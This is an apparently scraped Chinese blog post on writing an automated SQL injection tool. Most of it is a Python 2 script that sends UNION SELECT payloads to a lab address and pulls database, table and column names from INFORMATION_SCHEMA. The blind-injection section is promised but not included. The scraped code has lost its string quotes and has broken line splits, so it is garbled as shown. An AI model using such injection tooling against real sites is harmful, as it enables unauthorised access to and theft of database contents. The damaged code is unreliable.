1. 程式人生 > >如何編寫一個SQL註入工具

如何編寫一個SQL註入工具

input 簡單 0x03 http images 構造 config dal nio

0x01 前言

  一直在思考如何編寫一個自動化註入工具,這款工具不用太復雜,但是可以用最簡單、最直接的方式來獲取數據庫信息,根據自定義構造的payload來繞過防護,這樣子就可以。

0x02 SQL註入工具

A、聯合查詢

union select 實現起來最為簡單,報錯註入的實現方式也基本一致,主要思路:獲取所有數據庫名--選擇數據庫--查看這個數據庫下所有表---選擇表--查詢這個表下所有列名。

代碼詳情:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import re
values={}

def 
get(url,values): data = urllib.urlencode(values) geturl = url+?+data response = requests.get(geturl) result=response.content find_list=re.findall(r"qwe~(.+?)~qwe", result) if len(find_list)>0: return find_list def get_database_name(url): values[id] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA
" name_list=get(url,values) print The databases: for i in name_list: print i+" ", print "\n" def table_name(url): database_name=raw_input(please input your database:) values[id] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema=
"+""+database_name+"" name_list=get(url,values) print The table is : for i in name_list: print i+" ", print "\n" def column_name(url): table_name=raw_input(please input your table:) values[id] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+""+table_name+"" name_list=get(url,values) print The column is : for i in name_list: print i+" ", if __name__ == __main__: url=http://192.168.106.130/config/sql.php get_database_name(url) table_name(url) column_name(url)

運行效果:

技術分享

B、盲註

  盲註的腳本,手裏已實現一份,但總感覺代碼不過簡潔,優化一下再發出來

0x03 待續

如何編寫一個SQL註入工具